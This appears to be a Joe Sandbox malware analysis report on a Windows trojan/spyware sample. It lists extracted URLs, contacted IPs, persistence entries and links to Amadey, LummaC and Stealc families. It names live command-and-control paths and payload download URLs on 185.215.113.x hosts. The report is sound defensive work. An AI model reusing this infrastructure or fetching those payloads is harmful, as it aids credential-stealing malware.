https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	firefox.exe, 0000001C.00000002.3059695048.000002AEADD5B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001C.00000002.3001713978.000002AEACB8B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000318337.000002AEACA9D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000318337.000002AEACA0C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 0000001C.00000002.3114461929.000002AEAF6E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA36C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB4627000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2929578376.000002AEA9307000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://ebay.comP	firefox.exe, 0000001C.00000002.3248270404.00003CEE6E104000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	01806ad967.exe, 00000007.00000002.3830661343.0000000001273000.00000040.00000001.01000000.00000009.sdmp, 01806ad967.exe, 00000007.00000003.2385198137.0000000007902000.00000004.00001000.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://yandex.com	firefox.exe, 0000001C.00000002.3248270404.00003CEE6E104000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpe	7acf96002d.exe, 0000000A.00000002.2889718527.0000000000C97000.00000040.00000001.01000000.0000000B.sdmp	false		high
https://monitor.firefox.com/about	firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	false		high
http://youtube.com/	firefox.exe, 0000001C.00000002.3084108536.000002AEAE7F4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/enrollmentEndDate	firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 0000001C.00000002.3007209407.000002AEAD0D0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347libgcc_s_dw2-1.dll__register_frame_info__der	01806ad967.exe, 00000007.00000002.3830661343.0000000001273000.00000040.00000001.01000000.00000009.sdmp	false		high
https://www.zhihu.com/	firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3063527993.000002AEAE2AA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	847b1b04ba.exe, 0000000E.00000003.2837703272.000000000537C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3164775576.000002AEB4720000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	847b1b04ba.exe, 0000000E.00000003.2837703272.000000000537C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3164775576.000002AEB4720000.00000004.00000800.00020000.00000000.sdmp	false		high
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 0000001C.00000003.2809870565.000002AEB4825000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mozilla-hub.atlassian.net/browse/SDK-405	firefox.exe, 0000001C.00000002.2916167170.000002AEA8503000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold	firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	847b1b04ba.exe, 0000000E.00000003.2841087460.000000000546C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.jpg	01806ad967.exe, 00000007.00000002.3830661343.0000000001273000.00000040.00000001.01000000.00000009.sdmp, 01806ad967.exe, 00000007.00000003.2385198137.0000000007902000.00000004.00001000.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	firefox.exe, 0000001C.00000002.3153046824.000002AEB4596000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA37D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/F	847b1b04ba.exe, 0000000E.00000003.3066118122.0000000000918000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000002.3080259165.0000000000919000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001C.00000002.3181470422.000002AEB4A0E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2820527244.000002AEB4A9A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB4627000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.co.uk/	firefox.exe, 0000001C.00000003.2828617076.000002AEB5F52000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpP1	7acf96002d.exe, 0000000A.00000002.2893781909.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://monitor.firefox.com/user/preferences	firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://screenshots.firefox.com/	firefox.exe, 0000001C.00000003.2757796206.000002AEABF0F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2976855688.000002AEABD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2985111266.000002AEAC190000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2757567816.000002AEABD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2976855688.000002AEABD8B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000001C.00000002.2919725994.000002AEA8800000.00000002.00000001.00040000.0000001B.sdmp, firefox.exe, 0000001C.00000002.2916167170.000002AEA8524000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad	firefox.exe, 0000001C.00000002.3000318337.000002AEACA79000.00000004.00000800.00020000.00000000.sdmp	false		high
http://json-schema.org/draft-07/schema#-	firefox.exe, 0000001C.00000002.2995916903.000002AEAC803000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp	false		high
https://e.mail.ru/cgi-bin/sentmsg?mailto=%sextractScheme/fixupChangedProtocol	firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/3	847b1b04ba.exe, 00000009.00000003.2579029860.0000000001452000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 00000009.00000002.2580525413.0000000001452000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.wykop.pl/	firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3066278740.000002AEAE4DB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	firefox.exe, 0000001C.00000002.3007209407.000002AEAD0D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.olx.pl/	firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3066278740.000002AEAE4DB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://property-imper.sbs/.	847b1b04ba.exe, 0000000E.00000003.2957253832.000000000090F000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.2958077312.0000000000914000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mozilla.org/Z	firefox.exe, 0000001C.00000002.3246948274.00003C6359900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3220679353.0000133B72D00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://xhr.spec.whatwg.org/#sync-warningThe	firefox.exe, 0000001C.00000002.3007209407.000002AEAD0D0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 0000001C.00000002.3164775576.000002AEB479A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots/shims/google-analytics-ecommerce-plugin.jsTransactio	firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 0000001C.00000002.3007209407.000002AEAD0D0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3164775576.000002AEB479A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 0000001C.00000003.2809870565.000002AEB4825000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.33.116	property-imper.sbs	United States	13335	CLOUDFLARENETUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
34.116.198.130	home.fvtekk5pn.top	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.181.78	youtube.com	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561455
Start date and time:	2024-11-23 13:26:58 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 19m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	54
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@96/20@70/15
EGA Information:	Successful, ratio: 14.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.227, 172.217.19.238, 74.125.205.84, 52.12.64.98, 35.164.125.63, 35.80.238.59, 52.182.143.212, 172.217.17.46, 34.104.35.123, 20.42.65.92
Excluded domains from analysis (whitelisted): www.reddit.com, services.addons.mozilla.org, ciscobinary.openh264.org, slscr.update.microsoft.com, incoming.telemetry.mozilla.org, clientservices.googleapis.com, aus5.mozilla.org, a19.dscg10.akamai.net, support.mozilla.org, clients2.google.com, ocsp.digicert.com, us-west1.prod.sumo.prod.webservices.mozgcp.net, redirector.gvt1.com, onedsblobprdcus15.centralus.cloudapp.azure.com, login.live.com, firefox.settings.services.mozilla.com, ocsp.edge.digicert.com, push.services.mozilla.com, safebrowsing.googleapis.com, www.youtube.com, normandy-cdn.services.mozilla.com, star-mini.c10r.facebook.com, www.facebook.com, twitter.com, client.wns.windows.com, fs.microsoft.com, shavar.prod.mozaws.net, accounts.google.com, otelrules.azureedge.net, self.events.data.microsoft.com, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, dyna.wikimedia.org, prod.remote-settings.prod.webservices.mozgcp.net, fe3cr.delivery.mp.microsoft.com, normandy.cdn
Execution Graph export aborted for target 01806ad967.exe, PID 5196 because there are no executed function
Execution Graph export aborted for target 7acf96002d.exe, PID 2052 because there are no executed function
Execution Graph export aborted for target 847b1b04ba.exe, PID 2940 because there are no executed function
Execution Graph export aborted for target file.exe, PID 6440 because it is empty
Execution Graph export aborted for target skotes.exe, PID 2012 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 6684 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
07:28:01	API Interceptor	24657191x Sleep call for process: skotes.exe modified
07:28:36	API Interceptor	74x Sleep call for process: 847b1b04ba.exe modified
07:28:48	API Interceptor	1235719x Sleep call for process: 01806ad967.exe modified
07:28:59	API Interceptor	104x Sleep call for process: 7acf96002d.exe modified
07:29:06	API Interceptor	1x Sleep call for process: WerFault.exe modified
13:27:52	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
13:28:40	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 847b1b04ba.exe C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe
13:28:48	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 7acf96002d.exe C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe
13:28:56	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 92f830ff9f.exe C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe
13:29:05	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run b70a2b69d1.exe C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe
13:29:14	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 847b1b04ba.exe C:\Users\user\AppData\Local\Temp\1008433001\847b1b04ba.exe
13:29:23	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 7acf96002d.exe C:\Users\user\AppData\Local\Temp\1008434001\7acf96002d.exe
13:29:31	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 92f830ff9f.exe C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe
13:29:40	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run b70a2b69d1.exe C:\Users\user\AppData\Local\Temp\1008436001\b70a2b69d1.exe
13:30:39	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
property-imper.sbs	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	Loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
home.fvtekk5pn.top	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	34.117.59.81
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	34.116.198.130
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	psol.txt.ps1	Get hash	malicious	LummaC	Browse	104.21.33.116
	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.33.116
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.33.116
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	104.21.33.116
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	b.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
	Loader.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.33.116
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA53A.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Sat Nov 23 12:29:00 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	289874
Entropy (8bit):	1.3867639937483789
Encrypted:	false
SSDEEP:	384:97N8qYRryeEafbeHNbXLXN5mt1GLqr857thR9y6rSofE8RjMmIfFVw0yMK:4qUryeEafCNbDN5iGBLMofRrIdq2K
MD5:	020EADDA3C503DD7B5698F69F23B8824
SHA1:	B3B3C51A38EC9CFCB4436560771BC596FC6CC024
SHA-256:	AE0454ABD912495326DA8AD81BA594FFD93A1B08E682E7C3244F36BD15C57DB9
SHA-512:	ADE6F6A66970EAF2449A98EAE164CDF5BEEE8C76D5C0F1636A3E3C19D152C3FF886CFEB9DE3904CD3AC23B2714276EB7FC9B34856589C4A44BD2A38CA27916AC
Malicious:	false
Preview:	MDMP..a..... .........Ag............d...........8...l...........P...........T.......8...........T............=...............$...........&..............................................................................eJ......('......GenuineIntel............T...........x.Ag.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA6E1.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8346
Entropy (8bit):	3.7004033248193617
Encrypted:	false
SSDEEP:	192:R6l7wVeJe7606Yyt6hN5klBgmfu44Ho3prx89beZsfWqm:R6lXJ6606YA6NklBgmfu44peyfS
MD5:	B2CF68C6954679FB50AA0C151A7802BB
